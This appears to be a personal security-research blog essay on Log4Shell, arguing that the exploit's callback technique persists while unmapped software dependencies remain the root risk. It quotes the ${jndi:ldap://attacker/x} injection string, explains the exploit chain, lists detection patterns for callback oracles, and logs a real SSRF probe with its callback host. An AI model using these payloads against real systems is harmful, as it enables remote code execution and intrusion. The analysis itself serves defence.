LSN โ€” Local Sovereign Network

L is for Log4Shell โ€” The Blast Radius Was the Dependency Graph

The Alphabet of Harm, letter L. A modality-bridge dossier: one entry in the OSINT archive, carried forward to what our own systems catch today, closed with a verdict โ€” ENDED, CONTINUES, or MUTATED.

Verdict: MUTATED.

A Log Line That Ran Code

On the 9th of December 2021, the security world stopped what it was doing. A flaw in Apache Log4j2 โ€” a logging library so ordinary that most of the people who depended on it did not know they did โ€” turned out to allow remote code execution from a single logged string. Send a server the text ${jndi:ldap://attacker/x} in any field it might write to its logs โ€” a username, a User-Agent, a chat message โ€” and Log4j2, doing nothing more sinister than logging it, would reach out to the attacker's LDAP server and load a hostile Java object. Code execution from a log line. CVE-2021-44228. Log4Shell.

What made it a civilizational event rather than just a bad bug was the second sentence: nobody knew where all the Log4j was. It was buried, transitively, inside VMware vCenter, Ubiquiti UniFi, Elasticsearch, Cisco appliances, Apache Struts, and a numberless population of bespoke Java applications whose owners had never typed the word "Log4j" in their lives. The vulnerability's reach was not something the attacker designed. The blast radius was the dependency graph โ€” the invisible web of what-includes-what that no organization fully maps.

This is the letter about that harm: not the bug, which was patched, but the architecture that made one flaw in one small library into a flaw in everything at once. And, as our own sensors show, about what happened to it after the panic subsided โ€” which is not what "it was patched" would lead you to expect.

1. What the Archive Holds โ€” Log4Shell, Fully Loaded

The LSN library does not hold a memo about Log4Shell. It holds the weapons, and their completeness is the point.

The exploit modules. Metasploit ships a generic Log4Shell HTTP Header Injection exploit and a rack of product-specific ones โ€” VMware vCenter, Ubiquiti UniFi, MobileIron Core โ€” plus an auxiliary/scanner/http/log4shell_scanner whose own comments enumerate the impacted software: "Apache Struts 2, VMware vCenter, Apache James, Apache Solr, Apache Druid, Apache JSPWiki, Apache OFBiz." Each module does the same trivial thing: stand up a hostile LDAP server, send the target a ${jndi:...} string, and wait for the callback that means the target just ran your code.

The detection payloads. The library's Nuclei template for "Apache Log4j2 - Remote Code Injection" carries the literal ${jndi:...} probe wired to an interactsh out-of-band listener โ€” and a piece of metadata that says everything: EPSS percentile 0.99977. The Exploit Prediction Scoring System rates the likelihood a vulnerability will be exploited; Log4Shell sits at the top 0.02% of every CVE ever scored. This is, empirically, among the most exploited flaws in the history of the field, and the archive holds its scanners cocked.

The mechanism, once seen, is almost insulting in its simplicity: a logging library was resolving lookups embedded in the data it was asked to log. The one component whose entire job is to passively record what happens was, instead, executing instructions hidden in what it recorded.

Method note. The Metasploit modules, Nuclei templates, and CVE records are held verbatim in the LSN library (HIGH confidence for the mechanism, the impacted-software list, and the EPSS score). The broader December-2021 timeline is treated as widely-documented public record. We anchor claims on the tooling the archive actually contains.

Anatomy of a Log Line That Bites

It is worth seeing exactly why a logging library โ€” the most passive component in any application โ€” became the most dangerous, because the mechanism is a small parable about trusting your own inputs.

Log4j2 supported a feature called message lookups: special tokens inside a log message that the library would expand at write time. ${env:USER} would be replaced with an environment variable, ${sys:...} with a system property, and โ€” fatally โ€” ${jndi:ldap://host/x} would trigger a Java Naming and Directory Interface lookup to a remote server. The intent was convenience: let operators enrich their logs with contextual values. The flaw was that Log4j2 performed these expansions on the content of the message being logged, not merely on the log format the developer controlled.

So the chain was: an application logs some attacker-influenced string โ€” a login name, a User-Agent, a search term, an HTTP header โ€” because logging user input is normal and encouraged. Log4j2 scans that string, finds the ${jndi:...} token, and dutifully reaches out to the attacker's LDAP server, which returns a reference to a malicious Java class that the vulnerable JVM then loads and executes. No authentication. No unusual protocol. No exotic access. The attacker's only requirement was that somewhere, in a system built on a vulnerable Log4j2, their text would eventually be written to a log โ€” which, in a logging library, is a near-certainty.

That is why the impacted-software list reads like an inventory of the internet: any Java application that logged an attacker-reachable string was a candidate, and logging attacker-reachable strings is what applications do all day. The bug did not require the target to do anything unusual. It weaponized the single most routine act in all of software: writing something down.

2. The Warning Was Four Years Old

The most uncomfortable thing the archive proves is that Log4Shell was not a bolt from a clear sky. The sky had been rumbling since 2017.

The library holds CVE-2017-5645 โ€” "Apache Log4j RCE due Insecure Deserialization" โ€” with public proof-of-concept code on GitHub dated to 2017. The same logging library had a documented remote-code-execution class four years before Log4Shell. And the flaw did not close cleanly even in 2021: the archive carries the follow-ons CVE-2021-45046 (the first patch was incomplete) and CVE-2022-23305, evidence that the danger was layered, not a single door.

So the harm was latent and accumulating, not sudden. For years, millions of systems added the Log4j jar โ€” usually not deliberately, but as a dependency of a dependency of a framework they chose โ€” and forgot it. The risk was knowable. It was simply not tracked. The blast radius was being quietly assembled, one pom.xml at a time, by everyone who pulled in the library and never thought about it again. When the trigger finally arrived in December 2021, it did not create the catastrophe. It merely detonated one that had been built, in plain sight, over half a decade.

That gap โ€” between a flaw being knowable and being tracked โ€” is where every blast-radius harm incubates. It is the real subject of letter L, and it is the part that was never patched.

3. The Bridge โ€” What Our Own Wire Shows, Honestly

Here the letter does something the others mostly cannot: it reports a decay, measured on our own sensors, and it is more interesting than a persistence would have been.

Part one: the specific bug is gone from our edge. Across the current web-threats window โ€” 160,522 requests, 2026-06-03 to 2026-07-09 โ€” the number of ${jndi:} strings appearing in request paths, user-agents, or hosts is exactly zero. The Log4Shell flood that saturated the internet through 2022, that every honeypot on Earth drowned in, has โ€” against our particular surface, in this window โ€” faded to nothing. Surfaces got patched; the named signature stopped being worth an attacker's bandwidth against us. If you were tracking only "CVE-2021-44228," you would close the file and call it over.

Part two: the modality it pioneered is very much alive. Log4Shell's deepest contribution to the attacker toolkit was not the JNDI bug specifically. It was the normalization of the out-of-band callback โ€” the trick of injecting a string that forces the target to phone attacker-controlled infrastructure, so that a blind injection (you can't see the response) is confirmed by watching for the call home. Our pipeline carries a standing intent class for exactly this, and it is rated at the top of the severity scale:

Callback oraclePatternSeverity
Interactsh%.oast.%critical
Burp Collaborator%oastify.com% / %burpcollaborator%critical
requestrepo%requestrepo.com%high
DNS-logger%.dnslog.%high
PhonePe cURL-test SSRF%phonepe_action=curltest%high

And it fired. On 2026-07-05, IP 223.88.1.164 hit a PhonePe WooCommerce plugin's cURL-test SSRF sink with a callback to d9429d5h2cg8hu2ttqughft7ouccqsoh1.oast.me. That is Log4Shell's DNA โ€” make the target call home to prove you own it โ€” surviving, generalized, its parent CVE decayed to zero while its technique became a permanent category of the threat landscape. The bug is a museum piece on our wire. The move it taught everyone is a live, critical-severity intent class that caught a probe four days before this was written.

4. Why the Decay Is the Warning, Not the Reassurance

It is tempting to read "zero ${jndi:} on our edge" as good news. It is the opposite, and the reason is the whole thesis of the letter.

The specific signature decayed because surfaces patched โ€” the Log4j instances reachable from our hosts got fixed, and attackers stopped wasting packets on a closed door. That is a real, local win. But it addresses the instance, not the class. The thing that made Log4Shell a catastrophe was never the JNDI syntax; it was that a flaw in one universal, invisible dependency instantly became a flaw in everything downstream of it. Patching Log4j removed this universal-dependency flaw. It did nothing whatsoever to the architecture that made a universal-dependency flaw catastrophic.

And that architecture is entirely intact. Right now, every system you touch transitively includes dozens to thousands of libraries, most of them invisible to the people running the system, few of them completely mapped. The tooling to fix this โ€” software bills of materials (SBOMs), dependency scanning, the log4shell-finder scanners the archive itself holds โ€” exists, and is incompletely adopted. Somewhere in that unmapped graph sits the next Log4j: a small, ubiquitous library, trusted and forgotten, one CVE away from being a remote-code-execution flaw in millions of systems simultaneously.

The blast radius is pre-built. It is assembled and waiting. All it lacks is the flaw, and flaws are not in short supply. The decay of ${jndi:} on our edge is not the harm ending; it is the harm reloading โ€” the same gun, a different chamber, pointed at a dependency graph that has not gotten any more visible since 2021.

5. The Modality Generalized โ€” Out-of-Band as a Standard Step

The ssrf_oast class deserves a closer look, because it is the concrete form Log4Shell's legacy took, and it explains why letter L's verdict is MUTATED rather than ENDED.

Before Log4Shell, out-of-band confirmation was a specialist's technique. After it โ€” after the entire internet spent 2022 watching ${jndi:} payloads prove themselves by triggering DNS and LDAP callbacks โ€” it became standard. The mass-scanning toolkits normalized it. Nuclei's Log4j template, held in our library, does not try to read a response; it fires the payload and watches an interactsh listener for the callback. That pattern โ€” inject, then confirm by phone-home โ€” got baked into how commodity scanners now hunt for blind RCE and SSRF across every protocol, not just Log4j.

Which is exactly what our pipeline sees. The ssrf_oast intent class is not a Log4Shell detector; it is a detector for the entire family of out-of-band callback oracles โ€” Interactsh, Burp Collaborator, oastify, requestrepo, dnslog โ€” because attackers now reach for one of these on nearly any blind-injection attempt. The PhonePe SSRF probe of July 5th used the exact same confirm-by-callback logic Log4Shell made famous, against a completely different vulnerability class (an SSRF sink in a payments plugin, nothing to do with Java logging). The technique outlived the bug and colonized the whole landscape. That is a mutation in the precise sense this alphabet uses the word: the harm did not end and did not merely persist unchanged โ€” it transformed into a more general form, and the general form is now everywhere the specific one used to be.

The Remedy Exists and Is Half-Installed

Letter L would be unbearably fatalistic if there were no answer to the blast-radius problem. There is one; the difficulty is that it is a discipline, not a patch, and disciplines adopt slowly.

The response Log4Shell forced into the mainstream is the Software Bill of Materials โ€” an SBOM: a complete, machine-readable manifest of every component, direct and transitive, that a piece of software contains. The premise is exactly the one Log4Shell exposed: you cannot respond to a flaw in a dependency you did not know you had. With a current SBOM, "are we affected by the next Log4j?" becomes a database query answered in seconds instead of a frantic, weeks-long manual hunt across every codebase. The archive holds the artifacts of the panic that had no SBOMs โ€” filesystem scanners like log4shell-finder, built to grep for vulnerable jars precisely because nobody had a manifest to consult.

The tooling is real and improving: dependency scanners, SBOM generators, continuous software-composition analysis, and โ€” increasingly โ€” regulatory pressure requiring SBOMs for software sold to governments. But adoption is uneven, and the honest picture is that a large share of the world's deployed software still has no accurate inventory of what it is made of. The dependency graph is knowable in principle and unmapped in practice, which is the exact condition that made Log4Shell possible.

This is where letter L rejoins the alphabet's larger argument. Our contribution here is not a fix โ€” a homelab does not write the world's SBOMs. It is the same one every letter converges on: hold the record, and make the pattern legible. The value of documenting Log4Shell as a blast-radius harm rather than a Java logging bug is that it names the thing that must be fixed โ€” the invisibility of the dependency graph โ€” and keeps that naming available for the next time a small forgotten library turns out to be load-bearing for civilization. Memory is, again, the weapon: the organization that remembers Log4Shell as an architecture problem builds the SBOM before the next CVE, instead of the scanner after it.

6. What Our Systems Actually Hold

Honesty about scope. Letter L is one of the letters where our sensors genuinely earn their place โ€” this is measurement, not borrowed archive โ€” but the limits still matter.

What we hold, firmly: the two-part empirical finding. Zero ${jndi:} in 160,522 requests is a real, direct measurement of the specific bug's decay on our surface. The live ssrf_oast catch on 2026-07-05 is a real, direct measurement of the modality's persistence. Together they are a clean, honest picture that a single-CVE tracker would get exactly backwards. And we hold the archive โ€” the weaponized modules, the EPSS score, the 2017 pre-history โ€” that lets the local measurement be read against the global reality.

What we cannot claim: that our edge is representative of the internet. Zero ${jndi:} against our hosts in this window does not mean Log4Shell exploitation has ended globally โ€” the "long tail of Log4shell exploitation" is real, and vulnerable instances are still being hit worldwide. Our finding is precise and local: on this surface, in this window, the specific probe has decayed while the technique persists. We report the decay as a local fact and the modality's survival as the general one, and we do not inflate either.

What we refuse: the false comfort. It would be easy, and wrong, to headline "Log4Shell is over on our systems" and imply the harm is closed. The harm is not the probe count; it is the unmapped dependency graph, and that is exactly as dangerous today as it was in December 2021. Reporting the decay honestly requires reporting that it reassures no one.

7. What We Claim and Refuse

Precision about the evidence.

HIGH confidence: the mechanism, tooling, and EPSS score of Log4Shell (archive, verbatim); the 2017 pre-history via CVE-2017-5645 (archive); the zero-${jndi:} measurement across 160,522 requests and the live ssrf_oast catch of 2026-07-05 (our own direct telemetry).

Framing, stated as analysis: the claim that the ssrf_oast class is Log4Shell's inheritance. Out-of-band callback confirmation predates Log4Shell and would exist without it; our claim is that Log4Shell normalized and generalized it into a standard step, which is a reading of the trajectory, not a provable causal chain. We hold it as a strong inference, not a fact.

What we refuse: to treat a single IP's SSRF probe as a Log4Shell attack. 223.88.1.164 was not exploiting Log4j; it was exploiting a PhonePe SSRF sink using the same confirm-by-callback modality. Conflating the two would overstate the case. The honest claim is narrower and, we think, more interesting: the specific bug is gone from our wire, and the way of thinking it taught attackers is thriving on it.

8. The Verdict โ€” MUTATED

Log4Shell was patched. On our own edge, the ${jndi:} probe has decayed to a flat zero. By the narrowest measure โ€” is CVE-2021-44228 still being fired at us? โ€” the answer is no, and a defender tracking only the CVE would file the case closed.

That defender would be wrong on both ends. The technique Log4Shell normalized โ€” inject a string, confirm by out-of-band callback โ€” did not decay with the bug; it generalized into a permanent, critical-severity ssrf_oast intent class that caught a live probe on our wire four days before this was written, against a vulnerability that has nothing to do with Java logging. And the root harm โ€” that a flaw in one ubiquitous, unmapped dependency becomes a flaw in everything downstream at once โ€” was never addressed at all. Log4j was patched; the dependency graph is exactly as invisible as it was in 2021, and the next universal library is already embedded, forgotten, in millions of systems, waiting for its CVE.

So the harm did not end, and it did not simply continue. The event became a technique; the technique became infrastructure; and the architecture that made the event possible sits untouched, pre-loaded for its successor. That is MUTATED in the exact sense this alphabet means it โ€” a transformation into a more general and more durable form, leaving the original disaster's true cause fully intact.

Verdict: MUTATED โ€” the bug faded, the technique became permanent, and the blast radius is still the dependency graph, still unmapped, still waiting.

The Alphabet of Harm is a modality-bridge series: each letter takes one entry from the OSINT archive โ€” truth as it was recorded at the time โ€” and carries it forward to what the LSN sensor mesh, honeypot, and web-threat telemetry catch today, then closes with a verdict. We include what the record and the vectors show. We do not judge; we let the reader judge. L is for Log4Shell. Next: M.

โš  Personal capacity. Research published independently โ€” not reflecting employer views. Derived from passive observation of attacks against personal infrastructure. Full disclaimer โ†’
โ† Previous The Alphabet of Harm โ€” 12 / 26 Next โ†’